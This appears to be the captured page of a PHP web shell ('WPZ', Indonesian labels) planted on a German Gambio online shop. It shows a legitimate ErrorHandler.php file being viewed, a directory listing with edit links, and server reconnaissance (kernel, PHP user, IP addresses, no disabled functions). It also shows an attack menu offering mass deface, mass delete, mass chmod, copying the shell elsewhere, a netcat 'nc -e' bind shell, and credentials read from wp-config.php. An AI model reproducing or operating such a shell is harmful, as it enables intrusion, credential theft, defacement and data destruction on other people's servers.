WPZ

/ web / 1 / 000 / 076 / 129 / 313906 / htdocs / styroporzuschnitte24_shop / gm / classes / [dxwrx-rx-r]
berkas terminal database massal sistem
/web/1/000/076/129/313906/htdocs/styroporzuschnitte24_shop/gm/classes/ErrorHandler.php (10.34 KB)
<?php
/* --------------------------------------------------------------
   ErrorHandler.php 2011-03-13 gambio
   Gambio GmbH
   http://www.gambio.de
   Copyright (c) 2011 Gambio GmbH
   Released under the GNU General Public License (Version 2)
   [http://www.gnu.org/licenses/gpl-2.0.html]
   --------------------------------------------------------------
*/

class ErrorHandler 
{
	var $errorstack = array();// Errorstack

	function ErrorHandler()
	{
		# display php errors
		ini_set('display_errors', '1');

		# intercepts E_NOTICE in older php versions (<5.3)
		if(defined('E_DEPRECATED') == false)
		{
			define('E_DEPRECATED', 0);
			define('E_USER_DEPRECATED', 0);
		}

		# intercepts E_NOTICE in older php versions (<5)
		if(defined('E_STRICT') == false)
		{
			define('E_STRICT', 0);
		}
		
		if(defined('MODULE_GAMBIO_ERROR_REPORT_EMAIL')) # use custom error_reporting level
		{
			if(MODULE_GAMBIO_ERROR_REPORT_HIDE_E_ERROR == 'True') 				$E_ERROR = E_ERROR; else $E_ERROR = 0;
			if(MODULE_GAMBIO_ERROR_REPORT_HIDE_E_WARNING == 'True') 			$E_WARNING = E_WARNING; else $E_WARNING = 0;
			if(MODULE_GAMBIO_ERROR_REPORT_HIDE_E_PARSE == 'True') 				$E_PARSE = E_PARSE; else $E_PARSE = 0;
			if(MODULE_GAMBIO_ERROR_REPORT_HIDE_E_NOTICE == 'True') 				$E_NOTICE = E_NOTICE; else $E_NOTICE = 0;
			if(MODULE_GAMBIO_ERROR_REPORT_HIDE_E_CORE_ERROR == 'True') 			$E_CORE_ERROR = E_CORE_ERROR; else $E_CORE_ERROR = 0;
			if(MODULE_GAMBIO_ERROR_REPORT_HIDE_E_CORE_WARNING == 'True') 		$E_CORE_WARNING = E_CORE_WARNING; else $E_CORE_WARNING = 0;
			if(MODULE_GAMBIO_ERROR_REPORT_HIDE_E_COMPILE_ERROR == 'True') 		$E_COMPILE_ERROR = E_COMPILE_ERROR; else $E_COMPILE_ERROR = 0;
			if(MODULE_GAMBIO_ERROR_REPORT_HIDE_E_COMPILE_WARNING == 'True')		$E_COMPILE_WARNING = E_COMPILE_WARNING; else $E_COMPILE_WARNING = 0;
			if(MODULE_GAMBIO_ERROR_REPORT_HIDE_E_USER_ERROR == 'True') 			$E_USER_ERROR = E_USER_ERROR; else $E_USER_ERROR = 0;
			if(MODULE_GAMBIO_ERROR_REPORT_HIDE_E_USER_WARNING == 'True') 		$E_USER_WARNING = E_USER_WARNING; else $E_USER_WARNING = 0;
			if(MODULE_GAMBIO_ERROR_REPORT_HIDE_E_USER_NOTICE == 'True') 		$E_USER_NOTICE = E_USER_NOTICE; else $E_USER_NOTICE = 0;
			if(MODULE_GAMBIO_ERROR_REPORT_HIDE_E_ALL == 'True') 				$E_ALL = E_ALL; else $E_ALL = 0;
			if(MODULE_GAMBIO_ERROR_REPORT_HIDE_E_STRICT == 'True') 				$E_STRICT = E_STRICT; else $E_STRICT = 0;
			if(MODULE_GAMBIO_ERROR_REPORT_HIDE_E_RECOVERABLE_ERROR == 'True') 	$E_RECOVERABLE_ERROR = E_RECOVERABLE_ERROR; else $E_RECOVERABLE_ERROR = 0;
			if(MODULE_GAMBIO_ERROR_REPORT_HIDE_E_DEPRECATED == 'True') 			$E_DEPRECATED = E_DEPRECATED; else $E_DEPRECATED = 0;
			if(MODULE_GAMBIO_ERROR_REPORT_HIDE_E_USER_DEPRECATED == 'True') 	$E_USER_DEPRECATED = E_USER_DEPRECATED; else $E_USER_DEPRECATED = 0;
						
			error_reporting(
				E_ALL 
				& ~$E_ERROR 
				& ~$E_WARNING 
				& ~$E_PARSE 
				& ~$E_NOTICE 
				& ~$E_CORE_ERROR 
				& ~$E_CORE_WARNING 
				& ~$E_COMPILE_ERROR 
				& ~$E_COMPILE_WARNING 
				& ~$E_USER_ERROR 
				& ~$E_USER_WARNING 
				& ~$E_USER_NOTICE 
				& ~$E_ALL 
				& ~$E_STRICT 
				& ~$E_RECOVERABLE_ERROR 
				& ~$E_DEPRECATED 
				& ~$E_USER_DEPRECATED
			);
		}
		else # use default error_reporting level
		{
			error_reporting(
				E_ALL
				& ~E_NOTICE 
				& ~E_DEPRECATED 
				& ~E_STRICT
			);			
		}
	}
	
	/*
	* @desc: Error handling function
	*/
	function HandleError($errno, $errstr, $errfile, $errline, $errcontext) 
	{
		# should we show this error code?
		if((error_reporting() & $errno) == false) return true;
		
		# backtrace
		$backtrace = $this->HandleBacktrace(debug_backtrace());
		
		switch($errno) 
		{
			case E_USER_ERROR:
			case E_ERROR: // can't be catched by version 5.2
			case E_PARSE: // can't be catched by version 5.2
			case E_CORE_ERROR: // can't be catched by version 5.2
			case E_COMPILE_ERROR: // can't be catched by version 5.2
			case E_RECOVERABLE_ERROR:
				$this->AddErrorToStack('FATAL ERROR('.$errno.')', $errstr, $errfile, $errline, $errcontext, $backtrace);
				$this->do_log();
				die();
				break;
			
			case E_COMPILE_WARNING:// can't be catched by version 5.2
			case E_WARNING:
			case E_USER_WARNING:
			case E_CORE_WARNING:
				$this->AddErrorToStack('WARNING('.$errno.')', $errstr, $errfile, $errline, $errcontext, $backtrace);
				$this->do_log();
				break;
			
			case E_STRICT: // can't be catched by version 5.2
				$this->AddErrorToStack('STRICT('.$errno.')', $errstr, $errfile, $errline, $errcontext, $backtrace);
				$this->do_log();
				break;
			
			# Available in php 5.3
			case E_USER_DEPRECATED:
			case E_DEPRECATED:
				$this->AddErrorToStack('DEPRICATED('.$errno.')', $errstr, $errfile, $errline, $errcontext, $backtrace);
				$this->do_log();
				break;
			
			case E_USER_NOTICE:
			case E_NOTICE:
				$this->AddErrorToStack('NOTICE('.$errno.')', $errstr, $errfile, $errline, $errcontext, $backtrace);
				$this->do_log();
				break;
			
			default:
				$this->AddErrorToStack('UNKNOWN ERROR('.$errno.')', $errstr, $errfile, $errline, $errcontext, $backtrace);
				$this->do_log();
				break;
		}
		return true; // don't execute php internal error handler
	}
	
	function do_log()
	{
		if (count($this->errorstack) > 0) 
		{
			$this->LogErrorsTo('file');
			$this->LogErrorsTo('screen');
			$this->SendErrors();
			
			#reset stack after logging
			$this->errorstack = array();
		}		
	}
	
	### SUBFUNCTIONS ###
	
	/*
	* @desc: Pushes an error on the error stack
	* @param: (str)$level - a process generated error level
	* @param: (str)$msg - the Error message
	*/
	function AddErrorToStack($level,$errstr,$errfile,$errline,$errcontext,$backtrace) {		
		$error = array(
					"level" 	=> $level,
					"message" 	=> $errstr,
					"errfile" 	=> $errfile,
					"errline" 	=> $errline,
					"backtrace" => $backtrace,
					"context" 	=> $errcontext
				);
		array_push($this->errorstack, $error);
	}
	
	/*
	* @desc: Logs the whole stack to given $logtype
	*/
	function LogErrorsTo($logtype) {
		$splitline = str_repeat('=',80);
		//$date = date('Y-m-d H:i');
		
		switch ($logtype) {
			case 'file':
				$t_error_string  = $splitline."\n";
				$t_error_string .= $this->ErrorOutput('file');
				
				$coo_error_log = new FileLog('errors');
				$coo_error_log->write($t_error_string);
			break;
			
			case 'mysql':
			break;
			
			case 'screen':
				echo '<pre>'.$this->ErrorOutput('screen').'</pre>';
			break;
			
			default:
			break;
		}
	}
	
	/*
	* @desc: returns Human readable output data
	*/
	function ErrorOutput($p_target='screen') 
	{
		$error_data = "";
		$t_div_id = rand(1000, 9000);
		
		foreach ($this->errorstack as $error) 
		{
			switch($p_target)
			{
				case 'screen':
					
					$error_data .= '<div style="background-color: #ff9797">'. $error['level'] .': "'. $error['message'] .'" in '. $error['errfile'] .':'. $error['errline'] .' ';
					$error_data .= "(<a href=\"#\" onclick=\"document.getElementById('error_".$t_div_id."').style.display='block';return false;\">Details</a>)</div>";
					
					$error_data .= '<div id="error_'.$t_div_id.'" style="background-color:#ffcaca; display:none">';
					$error_data .= "Backtrace:\n". $error['backtrace'];
					
					if(defined('MODULE_GAMBIO_ERROR_REPORT_DETAILS_SCREEN'))
					{
						if(MODULE_GAMBIO_ERROR_REPORT_DETAILS_SCREEN == 'True') 
						{
							$error_data .= "Context: ". print_r($error['context'],true) . "\n\n";
							$error_data .= "Session: ". (!empty($_SESSION) ? print_r($_SESSION,true) : 'No Session');
						}
					}
					$error_data .= '</div>';
					break;
					
				case 'file':
					$error_data .= 
						date('Y-m-j H-i-s') .' ('. $_SERVER['REMOTE_ADDR']. ")\n".	
						$error['level'] .': '. $error['message'] ."\n".
						"  in ". $error['errfile'] .':'. $error['errline']	. "\n".
						"Backtrace: \n"	. $error['backtrace'] ."\n";
						
					if(defined('MODULE_GAMBIO_ERROR_REPORT_DETAILS_FILE'))
					{
						if(MODULE_GAMBIO_ERROR_REPORT_DETAILS_FILE == 'True') 
						{
							$error_data .= "Context: ". print_r($error['context'],true) . "\n\n";
							$error_data .= "Session: ". (!empty($_SESSION) ? print_r($_SESSION,true) : 'No Session') . "\n\n";
						}
					}
					break;
					
				case 'mail':
					$error_data .= 
						date('Y-m-j H-i-s') .' ('. $_SERVER['REMOTE_ADDR']. ")\n".	
						"Shop URL: ". HTTP_SERVER.DIR_WS_CATALOG . "\n\n".
						"Level: "	. $error['level']		. "\n".
						"Message: "	. $error['message']		. "\n".
						"  in ".		  $error['errfile'] .':'. $error['errline']	. "\n".
						"Backtrace: \n"	. $error['backtrace']	. "\n";
						
					if(defined('MODULE_GAMBIO_ERROR_REPORT_DETAILS_MAIL'))
					{
						if(MODULE_GAMBIO_ERROR_REPORT_DETAILS_MAIL == 'True') 
						{
							$error_data .= "Context: ". print_r($error['context'],true) . "\n\n";
							$error_data .= "Session: ". (!empty($_SESSION) ? print_r($_SESSION,true) : 'No Session') . "\n\n";
						}
					}
					break;
			}
			
		}
		return $error_data;
	}
	
	/*
	* @desc: Handle backtrace
	*/
	function HandleBacktrace($backtrace) {
		array_shift($backtrace);
		$run = 0;
		$backtracelines = "";
		foreach ($backtrace as $data) {
			
			if (empty($data['file'])) $data['file'] = 'unknown';
			if (empty($data['line'])) $data['line'] = 0;

			if(!empty($data['class'])) {
				$backtracelines .= '#'.$run.'  (#'.$data['class'].') '.$data['function'].' called at ['.$data['file'].':'.$data['line'].']';
			}
			else {
				$backtracelines .= '#'.$run.'  '.$data['function'].' called at ['.$data['file'].':'.$data['line'].']';
			}
			
			$backtracelines .= "\n";
			
			$run ++;
		}
		
		return $backtracelines;
	}
	
	/*
	* @desc: send actual errorstack via mail
	*/
	function SendErrors() 
	{
		if(defined('MODULE_GAMBIO_ERROR_REPORT_EMAIL')) 
		{
			if(MODULE_GAMBIO_ERROR_REPORT_EMAIL != '') 
			{
				$t_to 		= MODULE_GAMBIO_ERROR_REPORT_EMAIL;
				$t_from 	= MODULE_GAMBIO_ERROR_REPORT_EMAIL;
				$t_subject 	= 'Debug Report '.HTTP_SERVER.DIR_WS_CATALOG;
				$t_body 	= $this->ErrorOutput('mail');
				
				$this->send_mail($t_to, $t_from, $t_subject, $t_body);
			}
		}
	}
	
	function send_mail($emailTo, $emailFrom, $subject, $body)
	{
		mail($emailTo, 
				 $subject, 
				 $body,
				 'From: '. $emailFrom ."\n".
				 'Content-Type: text/plain'
				);
		return true;
	}
}
?>
namawaktuukuranownerpermaksi
..
csstidy/ 2013-11-12 21:03125.89 KB 76129f60960:kundendxwrx-rx-r
lib/ 2013-11-12 21:03601.96 KB 76129f60960:kundendxwrx-rx-r
ErrorHandler.php 2013-11-12 21:0310.34 KB 76129f60960:kunden-xw-x-----
edt
FileLog.php 2013-11-12 21:022.93 KB 76129f60960:kunden-xw-x-----
edt
GMAltText.php 2013-11-12 21:032.94 KB 76129f60960:kunden-xw-x-----
edt
GMAttributesCalculator.php 2013-11-12 21:034.65 KB 76129f60960:kunden-xw-x-----
edt
GMCSSMonitor.php 2013-11-12 21:0313.19 KB 76129f60960:kunden-xw-x-----
edt
GMCSSOptimizer.php 2013-11-12 21:0332.87 KB 76129f60960:kunden-xw-x-----
edt
GMCat.php 2013-11-12 21:039.08 KB 76129f60960:kunden-xw-x-----
edt
GMCounter.php 2013-11-12 21:0317.05 KB 76129f60960:kunden-xw-x-----
edt
GMEbay.php 2013-11-12 21:029.16 KB 76129f60960:kunden-xw-x-----
edt
GMGMotion.php 2013-11-12 21:0224.31 KB 76129f60960:kunden-xw-x-----
edt
GMGPrintCartManager.php 2013-11-12 21:0314.66 KB 76129f60960:kunden-xw-x-----
edt
GMGPrintConfiguration.php 2013-11-12 21:032.17 KB 76129f60960:kunden-xw-x-----
edt
GMGPrintContentManager.php 2013-11-12 21:028.79 KB 76129f60960:kunden-xw-x-----
edt
GMGPrintElements.php 2013-11-12 21:0315.79 KB 76129f60960:kunden-xw-x-----
edt
GMGPrintFileManager.php 2013-11-12 21:026.06 KB 76129f60960:kunden-xw-x-----
edt
GMGPrintOrderElements.php 2013-11-12 21:037.46 KB 76129f60960:kunden-xw-x-----
edt
GMGPrintOrderManager.php 2013-11-12 21:036.27 KB 76129f60960:kunden-xw-x-----
edt
GMGPrintOrderSurfaces.php 2013-11-12 21:036.41 KB 76129f60960:kunden-xw-x-----
edt
GMGPrintOrderSurfacesManager.php 2013-11-12 21:034.86 KB 76129f60960:kunden-xw-x-----
edt
GMGPrintProductManager.php 2013-11-12 21:024.55 KB 76129f60960:kunden-xw-x-----
edt
GMGPrintSurfaces.php 2013-11-12 21:039.99 KB 76129f60960:kunden-xw-x-----
edt
GMGPrintSurfacesGroupsManager.php 2013-11-12 21:031.96 KB 76129f60960:kunden-xw-x-----
edt
GMGPrintSurfacesManager.php 2013-11-12 21:039.62 KB 76129f60960:kunden-xw-x-----
edt
GMGPrintWishlistManager.php 2013-11-12 21:0314.81 KB 76129f60960:kunden-xw-x-----
edt
GMJSON.php 2013-11-12 21:032.44 KB 76129f60960:kunden-xw-x-----
edt
GMJanolaw.php 2013-11-12 21:033.76 KB 76129f60960:kunden-xw-x-----
edt
GMLangFileMaster.php 2013-11-12 21:03965 B 76129f60960:kunden-xw-x-----
edt
GMLightboxControl.php 2013-11-12 21:03691 B 76129f60960:kunden-xw-x-----
edt
GMLogoManager.php 2013-11-12 21:036.78 KB 76129f60960:kunden-xw-x-----
edt
GMMeta.php 2013-11-12 21:028.29 KB 76129f60960:kunden-xw-x-----
edt
GMProduct.php 2013-11-12 21:032.37 KB 76129f60960:kunden-xw-x-----
edt
GMSEOBoost.php 2013-11-12 21:0325.63 KB 76129f60960:kunden-xw-x-----
edt
GMSitemap.php 2013-11-12 21:035.32 KB 76129f60960:kunden-xw-x-----
edt
GMStatusbar.php 2013-11-12 21:022.46 KB 76129f60960:kunden-xw-x-----
edt
GMTSWidget.php 2013-11-12 21:034.93 KB 76129f60960:kunden-xw-x-----
edt
GMTabTokenizer.php 2013-11-12 21:032.81 KB 76129f60960:kunden-xw-x-----
edt
GMTracker.php 2013-11-12 21:033.49 KB 76129f60960:kunden-xw-x-----
edt
JSON.php 2013-11-12 21:0339.98 KB 76129f60960:kunden-xw-x-----
edt
application_top.php 2013-11-12 21:0334.02 KB 76129f60960:kunden-xw-x-----
edt
aksi pada path manual

cwd: /web/1/000/076/129/313906/htdocs/styroporzuschnitte24_shop/gm/classes
kredensial dibaca dari wp-config.php terdekat; reset password memakai MD5 legacy
mass deface
mass delete
mass replace
chmod massal
unameLinux w38 6.12.118+deb13-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.12.118-1 (2026-11-20) x86_64 softwareApache php8.4.28 / cgi-fcgi / Linux user76129f60960 (52449:5000) host / ip82.100.220.68 / 216.73.216.212 disk bebas2.68 TB limitmem 512M / max 0 open_basedirNONE disable_functionsNONE ekstensiCore, date, libxml, openssl, pcre, zlib, filter, hash, json, pcntl, random, Reflection, SPL, session, standard, sodium, cgi-fcgi, mysqlnd, PDO, xml, apcu, bcmath, bz2, calendar, ctype, curl, dba, dom, mbstring, FFI, fileinfo, ftp, gd, gettext, gmp, iconv, imagick, imap, intl, exif
ini_set runtime
salin shell ke direktori lain
bind port (nc -e)
.htaccess
tes mail
styroporzuschnitte24.de · 2026 · WPZ-OK